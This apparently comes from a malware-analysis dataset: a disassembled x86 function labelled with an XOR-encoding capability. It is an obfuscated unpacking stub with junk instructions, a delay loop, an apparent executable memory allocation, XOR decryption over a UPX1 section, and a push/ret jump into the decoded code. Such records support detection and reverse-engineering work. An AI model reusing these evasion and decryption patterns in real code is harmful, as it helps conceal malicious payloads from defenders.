Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x418d2843
or ebx, ebx
mov ecx, 0xed5ce905
popal
sub ecx, 0xfa0e28ca
sub ecx, ebx
not ebx
mov esi, 0
mov edi, eax
add edx, edx
mov ecx, 0x6f5f5893
sub ecx, 1
mov ebx, edi
inc edx
and ecx, ecx
sub ecx, edx
mov eax, ebx
not ecx
or edx, ecx
inc esi
mov edx, ecx
sub ecx, 0x1c3a2f5
mov edx, ecx
cmp esi, 0x1000d07
jne 0xa789c9
not edx
not edx
mov edx, 0x480f6ecd
inc ebx
dec ecx
or ecx, ebx
mov eax, 0xa78796
sub edx, 1
add ebx, edi
mov edi, edx
mov esi, 0xa7898a
mov edi, ebx
not ebx
or edx, edx
mov ecx, dword [eax]
add ebx, edi
add edi, 0x48fce974
and ecx, 0xff
add edi, edx
sub ebx, edx
xor dword [esi], ecx
inc edi
add edi, 0xe9fd53c
or edi, edi
inc esi
sub ebx, 0x4cdda20e
or ebx, edi
add eax, 1
add ebx, edi
mov edi, edx
cmp esi, entry0
jl 0xa78a23
inc edx
add ebx, 1
mov ebx, 0xf69cff98
or ebx, edi
add ecx, edi
sub esi, ecx
add edi, 0x9ea03fe
mov edx, 0xa7898e
mov ecx, esi
sub ecx, esi
mov edx, dword [edx]
and ebx, ecx
mov esi, ebx
mov edx, dword [edx]
add ecx, edi
or edi, ecx
inc ecx
push edx
or ebx, ecx
add ecx, 0x261cbd2c
mov edx, 0xa7898a
not ebx
dec esi
mov ecx, esi
mov edx, dword [edx]
mov esi, ebx
or esi, edi
mov edx, dword [edx]
add ebx, ecx
or ecx, esi
sub esp, 4
mov dword [esp], 0xa78992
mov ebx, 0xaac7f895
sub ebx, edi
call edx
add edi, ecx
mov edi, 0x913a73b9
add esi, 0xebe7eca2
pop edx
add ecx, 0x83879430
sub edi, 0x80650598
push 0xa7899f
sub ebx, 1
add ecx, 0x58035206
mov esi, edi
push eax
mov ecx, esi
sub ebx, esi
call edx
not edi
add esi, ecx
or edi, esi
push 0x40
not ecx
mov edi, ebx
sub esp, 4
mov dword [esp], 0x3000
sub ebx, 1
mov edi, 0xd15af3b1
and edi, ecx
push 0x200005e5
or ecx, edi
mov edi, 0x89d32429
push 0
inc esi
sub ebx, 0x6ce17c16
add edi, 0xf9a7c555
call eax
or edi, ecx
dec ecx
add eax, 0x20000565
not ebx
add ecx, 1
mov edx, 0x4fc772cb
dec edi
dec esi
inc edi
mov dword [eax], edx
mov edi, 0x83b87c30
not esi
and ebx, edi
mov edx, dword [eax]
sub ecx, ebx
sub ebx, edi
cmp edx, 0x4fc772cb
je 0xa78b74
mov eax, 0
mov byte [eax], cl
inc ebx
sub edi, 0xe076836d
sub edi, esi
sub ecx, 0xd22b8c0d
dec edi
mov ecx, esi
mov ecx, 0xa62a1af2
not ebx
mov ebx, 0x1f130cf8
mov edi, section.UPX1
add ebx, 0xaec8c692
sub ebx, 0xdb7aa26a
mov edx, 0xa78795
mov ecx, ebx
or ecx, ebx
and ecx, ebx
mov esi, 0
add ebx, ecx
dec ebx
mov eax, 0xa78796
mov ecx, 0x6399a210
inc ecx
not ebx
lea eax, [esi + eax]
sub ecx, ebx
add ebx, 0x729c16f8
mov eax, dword [eax]
dec ecx
sub ecx, 0xa43a48b8
and eax, 0xff
sub ecx, 0x58311f22
sub ecx, 0x1fd2fd50
inc esi
add ecx, 0x29baf637
mov ebx, ecx
add ecx, ebx
cmp esi, 0x1f4
jne 0xa78c01
mov esi, 0
or ecx, ebx
sub ebx, 0x6592ba60
sub ebx, ecx
not ecx
inc ebx
xor dword [edi], eax
sub ecx, 0xa19e05ca
mov ecx, 0xf6a7da40
sub ecx, 1
add edi, 2
inc ecx
sub ebx, ecx
cmp edi, edx
jl 0xa78bb6
inc ecx
and ebx, ecx
add ecx, ecx
not ecx
not ebx
inc ebx
mov edx, section.UPX1
add ebx, esi
add ebx, 0xb9aa97c4
inc ebx
mov ecx, section.UPX1
or ebx, ebx
dec esi
mov edi, 0xa78795
and esi, esi
sub ebx, esi
mov eax, 0
or ebx, ebx
not esi
mov ebx, 0x66e65133
mov al, byte [ecx]
mov esi, ebx
add esi, 0xe7bc402f
mov byte [edx], al
add esi, 0x6cb037e3
or ebx, esi
add edx, 1
sub esi, 0xc5cb2000
inc esi
mov esi, 0x380785a3
add ecx, 2
and esi, esi
sub esi, 0x6ab3890e
cmp ecx, edi
jle 0xa78c69
and esi, ebx
dec ebx
dec esi
and ecx, ecx
or ecx, ecx
sub ebx, ecx
push 0x8dc6a0
add ecx, ebx
and ecx, ecx
ret